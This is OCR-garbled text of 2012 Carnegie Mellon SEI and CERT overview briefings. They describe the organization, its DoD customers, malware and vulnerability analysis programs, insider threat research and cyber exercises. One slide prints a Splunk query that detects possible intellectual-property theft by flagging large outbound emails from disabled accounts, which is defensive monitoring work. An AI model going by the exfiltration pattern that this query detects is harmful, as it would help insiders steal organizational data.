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Software  Engineering  Institute  (SEI) 


The  SEI  is  a  Federally  Funded  Research  and  Development  Center 
(FFRDC) 

Sponsored  by  the  U.S.  Department  of  Defense  (DoD),  it  was  created  in 
1984  and  is  administered  by  Carnegie  Mellon  University.  It  is  a  DoD 
R&D  Laboratory. 


Headquartered  in  Pittsburgh,  Pennsylvania; 
the  SEI  provides  support  worldwide: 

•  1 95  STE 

•  $150M  annual  revenue 

•  600  employees 


Mission  and  Strategy 


Mission 


The  SEI  provides  technical 
leadership  and  innovation 
through  research  and 
development  to  advance  the 
practice  of  software  engineering 
and  technology  in  support  of  DoD 
needs. 

The  SEI  advances  software 
engineering  and  related 
disciplines  to  ensure  systems  with 
predictable  and  improved  quality, 
cost,  and  schedule. 
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SEI  Objectives 


The  SEI  works  to: 

•  Identify,  research,  evaluate,  and  advise  on 
software  engineering  technologies,  trends,  and 
practices. 

•  Collaborate  with  and  leverage  work  found  in 
industrial  research,  academia,  and  government 
laboratories. 

•  Mature  promising  software  engineering 
technologies  to  enable  standards,  transition,  and 
adoption  within  the  DoD  community. 


•  Enable  government  and  industry  organizations  to 
make  measured  improvements  in  their  software 
engineering  practices. 


CARNEGIE  MELLON!  UNlVEKSIf 


SOFTWARE  ENGINEERING 


Software  Engineering  Institute  CamegieMellon 


A  Broad  Range  of  Stakeholders 


The  SEI  advances  research  in  software  engineering  and  cyber 
technologies  for  its  many  stakeholders: 

•  Major  government  customers  and  sponsors 

-  U.S.  Department  of  Defense  (DoD) 

-  U.S.  Department  of  Homeland  Security  (DHS) 

•  Researchers,  developers,  users,  and 
acquirers — government,  commercial, 
and  academic 

•  Key  industries  and  organizations  with 
the  potential  to  advance  software 
engineering  and  related  disciplines 

•  Strategic  partners  worldwide 
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SEI's  Technical  Strategy  for  Software-Reliant  DoD  Systems 


Exploratory  activities  to  identify 
risk/reward  potential  as  a 
sustained  research  initiative  (~1 
year  initial  duration) 


Sustained  research  initiatives 
(~3-4  year  duration,  depending 
on  progress  against  measures 
of  success  reviewed  annually) 
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Key  Capabilities  &  Core  Competencies 


The  SEI  researches  &  develops  practices  &  methods  in  software 
engineering  &  related  disciplines,  applies  them  to  real  problems,  & 
transitions  them  for  broad  impact. 


are: 


The  core  competencies  of  the  SEI 

•  Process  &  Measurement 

-  Software  development  process 
and  lifecycle 

(Planning,  Requirements,  Design, 
Coding,  Testing,  Verification, 
Validation,  Sustainment/Support) 

-  Cost  estimation 

-  Performance  measurement 

-  Producibility 

-  Technical  risk  analysis  & 
mitigation 


•  Architecture 

-  Reengineering  &  reuse 

-  Maintainability,  changeability,  & 
evolvability 

-  Embedded  software 

•  Assurance  &  security 

-  Reliability 

-  Security,  safety,  survivability,  &  timing 

-  Cyber  software  assurance  & 
forensics 
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Technical  Program  Alignment  and  Areas  of 
Focus 


Securing  the  Cyber 
Infrastructure 


Advancing 
Disciplined  Methods 
for  Software 
Engineering 


LENS 


SEPM 


Innovating  for 
Software  Superiority 


Accelerating 
Assured  Software 
Delivery  for  the 
Mission 


NSS  Networked  Systems  Survivability  Program 
RTSS  Research,  Technology,  &  System  Solutions 
ASP  Acquisition  Support  Program 

SEPM  Software  Engineering  Process  Management  Program 
LENS  Line-funded  Exploratory  New  Starts 
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SEI  Structure 


Director  and  CEO 

Paul  Nielsen 

Chief  Operating  Officer 

Peter  Menniti  (Acting) 

Chief  Technology  Officer 

William  Scherlis  (Acting) 


Acquisition  Support  Program 
Interagency  and  Cyber 


Networked  Systems 
Survivability 


Research,  Technology, 
and  System  Solutions 


Software  Engineering 
Process  Management 


Information  Technology 

Director:  D.  Thompson 
Deputy:  S.  Kalinowski 


Financial  and  Business 

Program  Development 

Services/ Administration 

and  Transition 

Director:  P.  Menniti  H 

Director:  J.  Bramer 

Deputy:  H.  Kaye  A 

Deputy:  S.  Cunningham 
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Areas  of  Active  Research  and  Development 


•  Models  and  Guidelines  for  Agility  in  DoD 

•  Acquisition  Dynamics 

•  Static  Analysis  for  Real-time  Multi-Core 

•  Agile  Architecting 

•  Edge  Programming  for  Mobile  Platforms 

•  Software  Assurance  Argumentation  Theories 

•  Secure  Coding  Patterns  for  C,  C++,  and  Java 

•  Malicious  Code  Detection  and  Analysis  Techniques 

•  Trustworthy  Embedded  Systems 

•  Digital  Investigations  and  Video  Exploitation  Gap 
Area  Tools 

•  Socio-Adaptive  Systems 

•  Probabilistic  Modeling  of  Uncertainties  in  LCC 

•  Integrated,  Lightweight,  and  Agile  Life-Cycle  Models 

•  Detection  of  Anomalies  in  DOD  Data  Repositories 
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Customers  &  Stakeholders  -  Military  Services 


Services 

Air  Force 

SAF/AQX 

SAF/AQR 

JMPS 

GEMS 

MMP  Upgrade 

3DELRR 

JMS°S 

AF/A1  SOA  ,\ 

DoD  NextGen  Chief  Architect 
Support  |o  1 

FAEMfcl 

PMAG  and  EELV  study 

GPS  III  satellite  and  OCX 

N-CSDS 

Global  Hawk  GSRA  and  UCS 

ORS 

SAF/A6 

AFRL 

AFOSR 

NASIC 

Army 

ASA/ALT  (ASSIP) 

AMRDEC  SED 

Army  Materiel  Command 

ARDEC  SED 

CECOM  SEC 

CERDEC  C2C 

HQDA  G6/CIO 

PdM  NetOPS  (PM  WIN-T) 

PdM  Army  Enterprise  Systems 
Integration  Program 

PEO  Aviation 

PEO  Soldier 

PM  Battle  Command 

PM  FBCB2 

PM  Heavy  Brigade  Combat  Team 

PM  Integrated  Air  and  Missile 

Battle  Command  System 

PEO  Integration 

Navy 

DDG-1000 

EFV  (Expeditionary  Fighting 

Vehicle ) 

F/18 

F35 

PEO  Integrated  Warfare  Systems 
PEO  SUBS 

Submarine  Warfare  Federated 
Tactical  System  (SWFTS) 

PMS  485 

(Maritime  Domain  Awareness) 
SPAWAR  Systems  Center  - 
Charleston 

NAVAIR 

NAVOCEANO 

Navy  Cyber  Defense  Operations 
Command  (NCDOC) 
Communications  Satellite  (PMW 
150) 
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The  SEI  is  a  Knowledge  Pipeline:  From 
Research  to  Transition 
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Summary 


25+  year  history  of  contributions  and  innovation 

World  leader  in  software  engineering  research  and  transition 

Strategic  emphasis  on  enhanced  impact 

Current  technical  program  spans  acquisition,  technical,  and 
management  practices 

Positioned  for  future  challenges 

•  Extending  current  technologies 

•  Exploring  new  technologies 


Evaluating 

Software 

Architectures 


A*.  Methods 


Paul  Clctncm* 
Rick  Kj/mui 
Mack.  Klein 


US-CERT 


UNITED  STATES  COMPUTER  EMERGE^ 
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Additional  Briefings 


Software  Engineering  Institute  (SEI)  Overview 

CERT  Cyber  Threat  &  Vulnerability  Analysis  Overview 

CERT  Cyber  Enterprise  and  Workforce  Management  Directorate 
Overview 

Cyber  Mission  Assurance  Overview 
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CERT  Program 


Mission 

Anticipating  and  solving  our  nation’s  cyber  security  challenges 


Vision 

A  securely  connected  world 


Strategy 


Research,  develop,  transition,  and  support  new  security  enhanced: 

•  software  and  system  development  technologies  and  practices 

•  system  and  network  monitoring  and  management  technologies  and  practices 

•  digital  investigations  and  intelligence  methods  and  tools 
Anchor  research  and  development  efforts  in  operational  challenges  and  realities 
Pilot  and  prototype  with  strategic  customers  to  set  realistic  transition  paths 


Goal 

To  reduce  the  opportunity  for  and  impact  of  cyber  attacks 


Cyber  Security  and  Assurance  Key  Components 


Offensive  cyber  operations  at  the 
system,  network,  enterprise,  critical 
infrastructure  level 


Security  policies  and 
plans 


Offensive 

Operations 


Policies  and 
Plans 


Secure 
Software  and 
Systems 
Engineering 


•UnEfTiTn 


Art  and  science  of 

securable  technology 


Defensive 
Operations 
and  Security 
Management 


Secure  defensive  operations  at  the 
system,  network,  enterprise,  critical 
infrastructure  levels 


Workforce  has  the  right 
knowledge,  skills, 
abilities  to  conduct 
cyber  missions  and 
develop  secure 
systems 


Cyber 

Intelligence 


Understand  the  tactics, 
techniques,  and  procedures 
(TTPs)  of  the  community  and 
adversary 
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Research  Challenge  in  Cyber  Security 

Threats  at  Scale  in  number  and  time 

•  Adversaries  can  affect  millions  of  connected  objects  in  very  compressed  time  frames 

•  Immense  attack  surfaces:  computers,  applications,  services,  networks,  routers,  users, 
physical  control  connections,  databases,  business  operations,  etc. 

•  Sub-second  timescales  for  attacks,  responses,  situational  awareness 

We  don’t  know  yet  how  to  effectively  deter,  prevent,  detect,  respond  in  a  way  to 

mitigate  important  threats  at  scale. 

•  How  to  acquire,  design,  build,  compose,  and  operate  software  components  and  systems  to 
support  the  survivability  of  the  mission. 

•  How  do  we  ensure  that  future  generations  of  technology  will  better  protect  our  critical 
systems  and  not  inhibit  innovation,  agility,  resiliency?  ' 

•  We’re  making  progress,  but  the  gap  is  a  national  security  issue 

CERT’s  research  approach 

•  Exploit  data  collected  to  mitigate  threats  and  attacks. 

•  Exploit  data  collected  to  inform  development  of  secure/resilient  software,  systems,  networks, 
services,  etc. 

•  Develop  scalable  cyber-security  forensics 

•  Share  data  and  experiences 
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CERT  Program  Organization 


Secure  Software  and 
Systems 

Develop  technologies  to  embed  software  and 
system  assurance  in  all  aspects  of  the  system 
development  life  cycle. 

Cyber  Enterprise  & 
Workforce  Development 

Establish  the  routine  use  of  disciplined 
approaches  to  improve  enterprise  survivability 
and  resiliency;  provide  security  practices  and 
information  assurance  training  and  education. 

Cyber  Threat  and 
Vulnerability  Analysis 

Discover  and  resolve  vulnerabilities  in  software 
products;  improve  cyber-tradecraft  analysis; 
quantitatively  assess  potential  threat  and 
subsequent  impact  of  malicious  activity. 

Digital  Investigations  and 
Intelligence 

Research  and  Develop  gap  area  technologies  to 
advance  the  state  of  practice  of  digital 
exploitation  and  analysis. 

Secure  Software  and  Systems 

Develop  and  adapt  practices,  processes,  tools,  techniques,  and  measures  to 
address  security  and  survivability  in  every  phase  of  the  development  and 
acquisition  life  cycle 

Motivation: 

•  Threats  to  DoD  systems  evolving 

•  Potential  for  crippling  attacks 

•  Dependence  on  large-scale,  complex,  software  dependent  systems 

•  Early  decisions  in  Acquisition  &  Development  have  major  impact  on  security 

Primary  areas  of  work: 

•  Address  security  across  the  software  engineering  life-cycle  to  improve  security 
properties 

•  Software  and  System  development  technologies  and  practices 

•  Embedded  system  safety,  security,  and  survivability 
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Secure  Software  and  Systems  Organization 


Cyber  Security 
Engineering 


Secure  Code 
Initiative 


Code  Construction 


International  Standards 


Code  Analysis 

Analytical  Tools, 
Methods,  and  Practice 


Next  Generation 
Security 
Mechanisms 
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Systems 
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Digital  Intelligence  and  Investigations 


The  Digital  Intelligence  and  Investigation  Directorate  continuously  searches  the 
horizon  for  the  digital  investigative  challenges  of  tomorrow.  Our  position  at  the  nexus 
of  law  enforcement,  intelligence,  industry,  and  research  allows  us  to  maintain  a 
forward  perspective  on  the  potential  challenges  of  the  future. 


•  We  administer  direct  operational  support  to  key  customers,  and  focus  our  applied  research  capabilities  to 
solving  critical  gap  areas  problems  and  limitations. 

*  We  provide  highly  specialized  computer  forensics  and  incident  response  “gap  area  tools”  not  addressed  by 
commercial  tools  or  standard  techniques  to  the  DOD  and  US  Federal  Civilian  Law  Enforcement  Agencies. 


Research 


/  \ 


Development  Operational 

/  Engineering  Support 


Advantage 

•  Consistent  identification  of  emerging 
challenges 

•  Access  to  data  otherwise  impossible 

•  USG  gains  access  to  rapidly  prototyped 
capabilities 

•  Clear  understanding  of  limitations  with: 
commercial  technology;  training  gaps;  and 
techniques. 

•  Amplified  transition  directly  to  operational 
units  combating  adversaries 
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Notices 


©  2012  Carnegie  Mellon  University 

This  material  is  based  upon  work  supported  by  the  U.S.  Department  of  Defense  under  Contract  No. 
FA8721-05-C-0003  with  Carnegie  Mellon  University  for  the  operation  of  the  Software  Engineering 
Institute,  a  federally  funded  research  and  development  center. 

Any  opinions,  findings  and  conclusions  or  recommendations  expressed  in  this  material  are  those  of  the 
author(s)  and  do  not  necessarily  reflect  the  views  of  the  United  States  Department  of  Defense. 

NO  WARRANTY 

THIS  MATERIAL  OF  CARNEGIE  MELLON  UNIVERSITY  AND  ITS  SOFTWARE  ENGINEERING 
INSTITUTE  IS  FURNISHED  ON  AN  “AS-IS"  BASIS.  CARNEGIE  MELLON  UNIVERSITY  MAKES  NO 
WARRANTIES  OF  ANY  KIND,  EITHER  EXPRESSED  OR  IMPLIED,  AS  TO  ANY  MATTER 
INCLUDING,  BUT  NOT  LIMITED  TO,  WARRANTY  OF  FITNESS  FOR  PURPOSE  OR 
MERCHANTABILITY,  EXCLUSIVITY,  OR  RESULTS  OBTAINED  FROM  USE  OF  THE  MATERIAL. 
CARNEGIE  MELLON  UNIVERSITY  DOES  NOT  MAKE  ANY  WARRANTY  OF  ANY  KIND  WITH 
RESPECT  TO  FREEDOM  FROM  PATENT,  TRADEMARK,  OR  COPYRIGHT  INFRINGEMENT. 

Use  of  any  trademarks  in  this  presentation  is  not  intended  in  any  way  to  infringe  on  the  rights  of  the 
trademark  holder. 

This  Presentation  may  be  reproduced  in  its  entirety,  without  modification,  and  freely  distributed  in 
written  or  electronic  form  without  requesting  formal  permission.  Permission  is  required  for  any  other 
use.  Requests  for  permission  should  be  directed  to  the  Software  Engineering  Institute  at 

Dermission@sei.cmu.edu. 

CERT®  is  a  registered  mark  owned  by  Carnegie  Mellon  University. 
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Cyber  Threat  and  Vulnerability  Analysis 


Perform,  improve  and  grow  capacity  in: 

•  “Tier-3”  analysis  for  USG  cyber  operations 

•  Test,  evaluation,  review  and  workflow  of  cyber-security-enabling  technologies 
for  USG  operations  and  program  offices 

•  Cyber  operations  in  Critical  Infrastructure  and  Key  Resources  (CIKR) 
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CTVA  Functional  Breakdown 
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DOD  CND  Architecture 


Architecture  & 
Data  Strategy 


Capabilities  & 
Requirements 


Acquisitions  & 
Deployments 


Network  D 
Operations 
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(  Support 

^  Protect 

\.  (Detect  &  Analyze] 

[ (  Respond 

DOD  CND  Architecture  OV-1 ,  NSA,  June  201 0 


=*  Software  Engineering  Institute  CamegieMellon 


Areas  of  Work 


Malicious  code  analysis 
Critical  infrastructure  incident  analysis 
Network  situational  awareness 
Software  vulnerability  analysis 
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Malicious  Code 


Mission  Focus  Area 


Develop  new  malicious  code  analysis 
insights,  technologies,  practices,  and 
capabilities,  to  better  counter  and 
exploit  adversarial  use  of  information 
and  communication  technologies. 

•  Defence  Community 

•  Intelligence  Community 

•  Federal  Law  Enforcement 
Community 

•  Homeland  Security  /  Federal 
Agencies 

•  Federal  Researchers 


Static  analysis  (reverse  engineering) 

Run-time  analysis 

Code  comparison  and 
characterization 

Large-scale  collection 

Capacity  building 
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Malicious  Code  CONOP 


submitted  for  analysis 


archive 
malvrare  and 
meta-data 

_ 


automation 

insights 


indicators 


I  I  trends,  targeted  analysis, 

situational  awareness,  and 
threat-specific  or  reverse  engineering  tools 


produces 
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Incident  Analysis  in  the  CIKR 


Mission 

Focus  Area 

Assisting  USG  and  industry  in 

•  Incident  analysis 

combating  advanced  persistent  threat 

•  Exercises 

•  USG  sector-specific  leads 

•  Capacity  building 

•  Information  Sharing  and 

Analysis  Centers  (ISACs) 

•  CSIRTs  with  National 

Responsibility 
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CIKR  Collaborative  Operations  CONOP 


Private-Sector  Company 


Broader  Community 


0 

0 

Controls 

Protect 

and  risk  profile 

r~= 
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Network  Situational  Awareness  (NetSA) 


Mission 

Focus  Area 

Quantitatively  measure  baselines, 

•  Sensor  development 

vulnerability,  threat,  and  intrusions  to 

infrastructure  from  the  network 

•  Network  analytics 

perspective 

-  Topology  mapping 

•  Pervasive  USG  CND  monitoring 

-  Traffic  analysis 

-  Situational  awareness 

efforts 

•  Discovery  missions 

•  Network  test-beds 

•  Survey  missions 

•  Enterprise  policy  makers  and 

•  Standards 

system  architects 

•  Metrics 

•  Capacity  building 
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Nets  A  Historical  Focus  Areas 


,1990s  2000 


2005 


2008 


2011 


Operational 

Data 

Analysis 


Analytics 


AirCERT 


M 


.gov  networks 


I: 


|  NIPRNet  and  SIPRNet  | 

1 

Coalition  Networks 

|  National  Incidents  | 

f  Scan  Detection  |  ^  Mission  Use  Assessment 

JL 

Close  Network  Defense 

(opology  Mapping  Rogue  Server  Detection 

Sensor  Efficacy/Placement  metrics 

Uncleanliness  Vectoi^|  “Spike”  Detection 

i — 

Network  Touch  Points 

(‘Working  Set”  analysi  j  |  Beacon  Detection  | 

fpenerated  DNS  name”  detection 

1 

1 

L 

1 

Behavioral  Flow  Signatures 

- 1 

1 

1 

i - 

Flow 

) 

Sensors 

|  Intrusion  Detection  | 

1 

Metadata 

1 

i 

L 

C= 

Active  Defense 

1 

IETF  IDMEF 


IETF  Information  Flow  Export  (IPFIX) 


Standards 

IETF  Incident  Object  Description 

National  Information 

Exchange  Format  (IODEF) 

Exchange  Model  (NIEM) 
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Vulnerability  Analysis 


Mission 

Focus  Area 

Reducing  the  birth  rate  and  increasing 
the  death  rate  of  software 

•  Vulnerability  remediation 

vulnerabilities; 

•  Secure  configurations 

•  USG  watch-and-warning 

•  Vulnerability  management 

centers 

•  Vulnerability  discovery 

•  CNA/E  mission  owners 

•  Vulnerability  researchers 

•  Software  vendors 
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Software  Vulnerability  CONOP 


Discovery 


Finding  new  vulnerabilities  in 
existing  software 


Make  a  reliable, 
working  exploit 


Field 


Adapt 


Analysis 


Make  exploit  available  for 
technical  targeting 


Use  for  an  operation 


Gain  understanding  of 
new  vulnerabilities 


Coordination 


v. 


Working  with  vendors 
and  researchers  to 
respond  to  vulnerabilities 


Providing  vulnerability 
info  to  the  public 


Applying  fixes  and 
workarounds  for  deployed 
vulnerabilities 


Systemic  and  environmental 
changes  to  reduce  the  risks 
posed  by  vulnerabilities 
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CERT  Cyber  Enterprise  and 
Workforce  Management 
Directorate 


Software  Engineering  Institute 


Carnegie  Mellon 


Cyber  Enterprise  and  Workforce  Management 


Cyber 

Describes  the  boundary  of  our 
work:  assets  that  are  bound 
together  by  networks 

Enterprise  and  Workforce 

Describes  the  entities  on  which 
our  work  is  primarily  focused 

Management 

Describes  the  type  of  cyber  security 
activities  on  which  we  primarily 
concentrate 


Methods 


Pr««d(irnHrkdnr#th^ 
(Mining  In  HWonitip 
of  tasks 


People  Technology 


CEWM’s  work  engages  all  three  critical  dimensions  for  effectively 
managing  cyber  security. 
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CERT  CEWM  Overview 


The  CERT  Guide 
to  Insider  Threats 

How  to  Prevent, 

« Detect,  and  Respond  to 
0  Information  Tcdinnlnyy- 

|  \  Crimea  (Theft,  Sabotage. 

Fraud) 


Dawn  Cappelli 
Andrew  Moore 
Randall  Trzcciak 


SGJVLM 

Smart  Grid  Maturity  Model 


Cyber 

Resilience 

Center 


t—  . "> 

Cyber 

Security  Risk 
Management 

t— 

Resilience 

Measurement 


Resilience 
Modeling  & 
Simulation 


Cyber 

Workforce 

Development 

(CWD) 

- \ 

Workforce 

Development 

Sa _ > 


- \ 

Cyber 
Exercise 
Modeling  & 
Simulation 

s. _ > 


-  Software  Engineering  Institute  Carney 


Enterprise 
Threat  and 
Vulnerability 
Management 


Insider 

Threat 


Infrastructure 

Resilience 


- \ 

Critical 

Infrastructure 

Cyber 

Security 

s _ > 


- \ 

Operational 

Threat 

Management 

s _ > 


- \ 

Cyber 

Incident 

Management 

s _ > 


What  is  CERT®-RMM? 


CERT-RMM  is  a  maturity  model 
for  managing  and  improving 
operational  resilience. 


“...an  extensive  super-set  of 
the  things  an  organization 
could  do  to  be  more  resilient.  ” 

-  CERT-RMM  adopter 


-  Software  Engineering  Institute 


•  Guides  implementation  and 
management  of  operational 
resilience  activities 

•  Converges  key  operational  risk 
management  activities:  security, 
BC/DR,  and  IT  operations 

•  Defines  maturity  through 
capability  levels  (like  CMMI) 

•  Enables  measurement 

•  Improves  confidence  in  how  an 
organization  responds  in  times 
of  operational  stress 
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CERT  -RMM.  VCR9I 


CERT-RMM:  26  process  areas 


Engineering 


ADM 

Asset  Definition  and  Management 

CTRL 

Controls  Management 

RRD 

Resilience  Requirements  Development 

RRM 

Resilience  Requirements  Management 

RTSE 

Resilient  Technical  Solution  Engineering 

SC 

Service  Continuity 

Enterprise  Management 

COMM 

Communications 

COMP 

Compliance 

EF 

Enterprise  Focus 

FRM 

Financial  Resource  Management 

HRM 

Human  Resource  Management 

OTA 

Organizational  Training  &  Awareness 

RISK 

Risk  Management 

Operations  Management 


CERT  Resilience 
Management  Model 

I  A  Maturity 
\r  F Model  for 
"l  I  f  Managing 


AM 

Access  Management 

EC 

Environmental  Control 

EXD 

External  Dependencies  Management 

ID 

Identity  Management 

IMC 

Incident  Management  &  Control 

KIM 

Knowledge  &  Information  Management 

PM 

People  Management 

TM 

Technology  Management 

VAR 

Vulnerability  Analysis  &  Resolution 

Process  Management 

MA 

Measurement  and  Analysis 

MON 

Monitoring 

OPD 

Organizational  Process  Definition 

OPF 

Organizational  Process  Focus 
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Development  and  Operational  Guidance  End-to-End 


(  >  Plan 


Acquire 


CMMI-DEV  (software  development) 


CMMI-ACQ  (software  acquisition) 


Retire 


>0 


CERT-RMM  (sebure,  continuous  operation) 


CMMI-SVC  (servipe  quality) 


TSP  (data-driven  quality  approach  for  team  management,  applicable  to  projects  throughout  lifecycle) 


DEVELOPMENT 


OPERATION 
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CERT  Insider  Threat  Center 


Center  of  insider  threat  expertise 


Began  working  in  this  area  in  2001  with  the  U.S.  Secret 
Service 


Our  mission:  The  CERT  Insider  Threat  Center  conducts  empirical 
research  and  analysis  to  develop  &  transition  socio-technical  solutions 
to  combat  insider  cyber  threats. 
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CERT  Insider  Threat  Center  Objective 


INSIDER 


Tech  indicators 


Opportunities  for  prevention,  detection,  and  response  for  an  insider  attack 


Software  Engineering  Institute  CamegieMellon 


45 


Deriving  Candidate  Controls  and  Indicators  -1 


Insider  threat  research  develops  this. . . 


.  . ,  ______ _ ^  insider  sense  of 

insider  desire  to  loyalty  to 

contribute  to  organization 
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Deriving  Candidate  Controls  and  Indicators  -2 


And  turns  it  into  this.. . 


Splunk  Query  Name:  Last  30  Days  -  Possible  Theft  of  IP 

Terms:  'host=HECTOR  [search  host="zeus.corp.merit.lab"  Message="A 
user  account  was  disabled.  *"  |  eval 

Account_Name=mvindex(Account_Name,  -1)  |  fields  Account_Name  | 
strcat  Account_Name  "@corp.merit.lab"  sender_address  |  fields  - 
Account_Name]  total_bytes  >  50000  AND 

recipient_address!="*corp.merit.lab"  startdaysago=30  |  fields  clientjp, 
sender_address,  recipient_address,  message_subject,  total_bytes' 
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DoD  Cyber  Workforce  Development 

Challenges 

•  Inability  to  “train  as  you  fight”  as  part  of  routine  operations 

•  Inability  to  accurately  assess  mission  readiness  of  cyber 
units/crews 

•  Lack  of  real-time  modeling  and  simulation  tools  for  lifelike 
skills  practice  and  assessment 

SEI  Response 

•  CWD  Capabilities  Definition  and  Measurement 

•  CERT  Exercise  Network  (XNET) 
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CERT  XNET 

Goals  of  XNET: 

•  Convenient  and  Efficient  Access  to  Range  AND 
Scenarios 

•  Robust  individual/team  evaluation 

•  Advances  in  Mod/SIM 

•  Operationalize  DoD  Cyber  Community 

DoD  Utilization: 

•  USCYBERCOM  Cyber  Flag  exercises 

•  Army  Reserve  Information  Operations 
Command  pre-deployment  evaluation 

•  OSD/NII  International  Cyber  Defense 
Workshop  (ICDW) 

•  Army  Theater  Cyber  Center  of  the  Year 
competition 
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Cyber  Flag 


USCYBERCOM  sponsored,  world-class  cyber  exercise 

Exercise  Service  Components  and  JCCC  in  tactical  cyber  operations; 
progressive  complexity  over  4  mission  days 


12- 1  Advances: 

•  Xcloud  1 .0;  4,000  dynamically  provisioned,  controlled 
hosts/devices;  1 -click  roll-back,  integrated  record/playback 

•  Embedded  Cyber  Situational  Awareness  and  COP  1 .0 

•  “Whack  a  Mole”  OPFOR 

•  2,700  simulated  users  with  under-the-floor,  real-time  control 

13- 1  Development: 


•  Automated  helpdesk  for  “complaining  users” 

•  COP  2.0;  synergized  feeds 

•  Kinetic  CND  (based-on  Scadaville) 

•  Xcloud  2.0;  instrumented  for  real-time  lessons  learned,  BDA 
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Notices 


©  2012  Carnegie  Mellon  University 

This  material  is  based  upon  work  supported  by  the  U.S.  Department  of  Defense  under  Contract  No. 
FA8721-05-C-0003  with  Carnegie  Mellon  University  for  the  operation  of  the  Software  Engineering 
Institute,  a  federally  funded  research  and  development  center. 

Any  opinions,  findings  and  conclusions  or  recommendations  expressed  in  this  material  are  those  of  the 
author(s)  and  do  not  necessarily  reflect  the  views  of  the  United  States  Department  of  Defense. 

NO  WARRANTY 

THIS  MATERIAL  OF  CARNEGIE  MELLON  UNIVERSITY  AND  ITS  SOFTWARE  ENGINEERING 
INSTITUTE  IS  FURNISHED  ON  AN  “AS-IS"  BASIS.  CARNEGIE  MELLON  UNIVERSITY  MAKES  NO 
WARRANTIES  OF  ANY  KIND,  EITHER  EXPRESSED  OR  IMPLIED,  AS  TO  ANY  MATTER 
INCLUDING,  BUT  NOT  LIMITED  TO,  WARRANTY  OF  FITNESS  FOR  PURPOSE  OR 
MERCHANTABILITY,  EXCLUSIVITY,  OR  RESULTS  OBTAINED  FROM  USE  OF  THE  MATERIAL. 
CARNEGIE  MELLON  UNIVERSITY  DOES  NOT  MAKE  ANY  WARRANTY  OF  ANY  KIND  WITH 
RESPECT  TO  FREEDOM  FROM  PATENT,  TRADEMARK,  OR  COPYRIGHT  INFRINGEMENT. 

Use  of  any  trademarks  in  this  presentation  is  not  intended  in  any  way  to  infringe  on  the  rights  of  the 
trademark  holder. 

This  Presentation  may  be  reproduced  in  its  entirety,  without  modification,  and  freely  distributed  in 
written  or  electronic  form  without  requesting  formal  permission.  Permission  is  required  for  any  other 
use.  Requests  for  permission  should  be  directed  to  the  Software  Engineering  Institute  at 

Dermission@sei.cmu.edu. 

CERT®  is  a  registered  mark  owned  by  Carnegie  Mellon  University. 
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Cyber  Mission  Assurance 
(OSD  CAPE) 


Software  Engineering  Institute 


Carnegie  Mellon 


Overview 


Quick  overview  of  “research  vision”  for  the  Cyber  Mission  Assurance 
work 

Client  example:  Leveraging  Cyber  Mission  Analysis  Method(s)  in 
support  of  OSD  CAPE  goals  and  objectives 

Questions? 
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Cyber  Mission  Analysis  Research  Focus 


Challenges 

•  Lack  of  understanding  of  network  and  mission  impacts  when  capabilities  are 
reduced 

•  Facing  continually  evolving  adversary  tactics,  techniques  and  procedures  (TTPs)  to 
gather  information  and  disrupt  network/mission  operations 

•  Very  limited  opportunities  and  resources  to  “train  as  you  fight” 

Research  Approach  &  Innovations 

•  Leverage  SoS  architecture-centric  methods  with  NSS’s  cyber  security  initiatives  to 
create  a  catalog  of  mission  thread  artifacts  which  can  be  used  to  analyze  DoD 
networks  for  mission  assurance  and  architectural  agility  and  resilience 

•  Automation  Framework  to  generate  attacks  which  is  integrated  with  XNET  to 
perform  cyber  security  workforce  development  and  training  based  on  the  mission 
thread  artifacts 

Impact  to  DoD 

•  A  streamlined  and  repeatable  mission  analysis  method  to  improve  mission 
assurance  and  situational  awareness  for  cyber  warriors  and  the  missions  being 
executed 

•  A  single  technique  that  enables  the  mission  needs  to  drive  architecture  and  training 
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Mission  Assurance  Research:  Guiding  Scenario 


An  adversary  is  interested  in  gaining  footholds  into  DoD  networks  via  its  computer 
network  exploitation  methods 

Two  key  points  of  interest  have  been  identified 


Naval  Personnel 
Information  at  Port 
Hueneme 


Naval  Maintenance 
Operations  -  San  Diego 
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Guiding  Scenario  -  Current  Approach  ' 


i| 


Adversary  performs  “phishing”  attacks  and  compromises  3  workstations 
in  each  network  and  a  privileged  account  on  the  Personnel  system 

US  imposes  tariffs  and  sanctions  on  adversary  country;  Intelligence  * 
reports  note  adversary  is  considering  taking  some  action  ^ 

Adversary  starts  Denial  of  Service  Attacks  on  Operations  system  X 
Adversary  begins  exfiltration  of  personnel  information 


Adversary  stops  attack  after  personnel  information  is/^*** 
downloaded 

Adversary  stops  DOS  attacks 


/  ^ 
* 

✓ X''  * 


Personnel  System 

5 
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4» 


V1* 


.  i 


s?t 


X 


Adversary’s  System 


✓ 

*  V 

2  V'i 


Operations  System 

1 


Network  admins  notice  data 
has  been  exfiltrated  two  days 
after  incident;  Investigation  is 
started 

Users  start  to  complain  about 
slow  operation  of  their  system 


<  , 


Sr** 


8 


Network  administrators  execute 
their  TTPs  and  identify  DOS  attacks 

Network  admins  notice  DOS  attack 
has  stopped  and  begin  network  battle 
damage  assessment 
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Guiding  Scenario  -  Desired  End  State 

Navy  locations  identify  key  missions  and  cyber  dependencies  to  drive  ✓ 

training  using  the  latest  automated  technologies  * 

Adversary  performs  “phishing”  attacks  and  compromised  3  workstation^  ^  Personnel  System 
in  each  network  and  a  privileged  account  on  personnel  system  / 

Adversary  starts  Denial  of  Service  Attacks  on  Operations  system.^  '  ^  ^ 

S 


Adversary  begins  exfiltration  of  personnel  information. 
Network  admins  confirm  threat  pattern  and  mission  impact 
Network  admins  stop  attack  shortly  after  download  \ 
attempted 

^  ^  > 

Adversary  stops  DOS  attacks  ,  * 

_ ^  / 


* 


A 

w  I 


10 


4» 


Operations  System 


'  & - 4/ 


/  , 


Adversary’s  System 


W'' 

3  V* 


Network  admins  assess  variations 
in  attack  patterns  and  mission 
areas  being  targeted  to  update 
and  conduct  training 


Users  notice  slow  operation 
but  critical  functions  continue 

Network  admins  detect  a 
possible  threat  pattern 


Network  admins  quickly 
~  determine  damage  is  minimal 
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Properties  of  Desired  End  State 


Clear  Mapping  to  Cyber  S&T  Priorities* 

•  Increasing  Adversary  /  Defender  relative  work:  The  cyber  attack  is  stopped  with 
fewer  resources  on  the  part  of  the  defender 

•  Assuring  Effective  Missions:  The  critical  missions  were  identified  and  related  to 
cyber  vulnerability  and  attack  patterns  to  enable  rapid  detection  and  reaction  to  the 
attack. 

•  Resilient  Infrastructure:  The  critical  system  functions  were  identified  and  mapped 
to  architectural  dependencies  to  build-in  mission  assurance 


Assertions  to  Achieve  Cyber  S&T  Priorities 

